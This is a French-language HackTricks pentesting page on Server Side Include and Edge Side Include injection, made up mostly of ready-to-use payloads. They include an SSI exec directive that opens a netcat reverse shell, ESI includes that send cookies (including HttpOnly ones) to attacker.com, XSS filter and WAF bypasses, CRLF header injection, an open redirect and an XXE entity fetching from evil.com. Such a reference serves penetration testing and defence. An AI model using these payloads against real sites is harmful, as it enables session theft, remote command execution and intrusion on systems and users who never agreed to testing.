Français - Ht
HackTricks Training Twitter Linkedin Sponsor

Server Side Inclusion/Edge Side Inclusion Injection

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de Base sur l'Inclusion Côté Serveur

(Introduction tirée de la documentation Apache)

SSI (Server Side Includes) sont des directives qui sont placées dans des pages HTML et évaluées sur le serveur pendant que les pages sont servies. Elles vous permettent d'ajouter du contenu généré dynamiquement à une page HTML existante, sans avoir à servir l'intégralité de la page via un programme CGI ou une autre technologie dynamique. Par exemple, vous pourriez placer une directive dans une page HTML existante, comme ceci :

<!--#echo var="DATE_LOCAL" -->

Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa valeur :

Mardi, 15-Jan-2013 19:28:54 EST

La décision d'utiliser SSI ou de générer entièrement votre page à l'aide d'un programme est généralement une question de savoir quelle partie de la page est statique et quelle partie doit être recalculée à chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petits morceaux d'informations, comme l'heure actuelle - montrée ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution.

Vous pouvez déduire la présence de SSI si l'application web utilise des fichiers avec les extensions ** .shtml, .shtm ou .stm**, mais ce n'est pas toujours le cas.

Une expression SSI typique a le format suivant:

<!--#directive param="value" -->

Vérification

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Inclusion côté serveur

Il y a un problème de mise en cache des informations ou des applications dynamiques car une partie du contenu peut varier la prochaine fois que le contenu est récupéré. C'est là que ESI est utilisé, pour indiquer en utilisant des balises ESI le contenu dynamique qui doit être généré avant d'envoyer la version mise en cache. si un attaquant est capable d'injecter une balise ESI à l'intérieur du contenu mis en cache, alors, il pourrait être en mesure d'injecter du contenu arbitraire dans le document avant qu'il ne soit envoyé aux utilisateurs.

Détection de l'ESI

L'en-tête suivant dans une réponse du serveur signifie que le serveur utilise l'ESI:

Surrogate-Control: content="ESI/1.0"

Si vous ne trouvez pas cet en-tête, le serveur pourrait quand même utiliser ESI. Une approche d'exploitation aveugle peut également être utilisée car une requête devrait arriver sur le serveur des attaquants :

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Exploitation d'ESI

GoSecure a créé un tableau pour comprendre les attaques possibles que nous pouvons essayer contre différents logiciels capables d'ESI, en fonction de la fonctionnalité prise en charge :

  • Includes : Prend en charge la directive <esi:includes>

  • Vars : Prend en charge la directive <esi:vars>. Utile pour contourner les filtres XSS

  • Cookie : Les cookies du document sont accessibles au moteur ESI

  • En-têtes amont requis : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application amont ne fournisse les en-têtes

  • Liste blanche d'hôtes : Dans ce cas, les inclusions ESI ne sont possibles que depuis les hôtes de serveur autorisés, rendant par exemple les SSRF possibles uniquement contre ces hôtes

XSS

La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur

<esi:include src=http://attacker.com/xss.html>

Contourner la protection XSS côté client

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Vol de Cookie

  • Vol de cookie à distance

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

  • Voler le cookie HTTP_ONLY avec XSS en le reflétant dans la réponse :

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Fichier local privé

Ne pas confondre avec une "inclusion de fichier local" :

<esi:include src="secret.txt">

CRLF

CRLF stands for Carriage Return Line Feed.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Redirection ouverte

Ce qui suit ajoutera un en-tête Location à la réponse

<!--esi $add_header('Location','http://attacker.com') -->

Ajouter un en-tête

  • Ajouter un en-tête dans la requête forcée

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

  • Ajouter un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF dans l'ajout d'en-tête (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

Cela enverra des informations de débogage incluses dans la réponse :

<esi:debug/>

ESI + XSLT = XXE

En spécifiant la valeur xslt pour le paramètre dca, il est possible d'inclure des ESI basés sur eXtensible Stylesheet Language Transformations (XSLT). L'inclusion amène le serveur proxy HTTP à récupérer les fichiers XML et XSLT, ce dernier filtrant le premier. Ces fichiers XML sont exploitables pour des attaques XML External Entity (XXE), permettant aux attaquants d'exécuter des attaques SSRF. Cependant, l'utilité de cette approche est limitée car les ESI inclus servent déjà de vecteur SSRF. En raison de l'absence de prise en charge dans la bibliothèque sous-jacente Xalan, les DTD externes ne sont pas traités, empêchant l'extraction de fichiers locaux.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Fichier XSLT :

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Vérifiez la page XSLT :

Références

Liste de détection de force brute

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

PrécédentSAML BasicsSuivantSQL Injection

Dernière mise à jour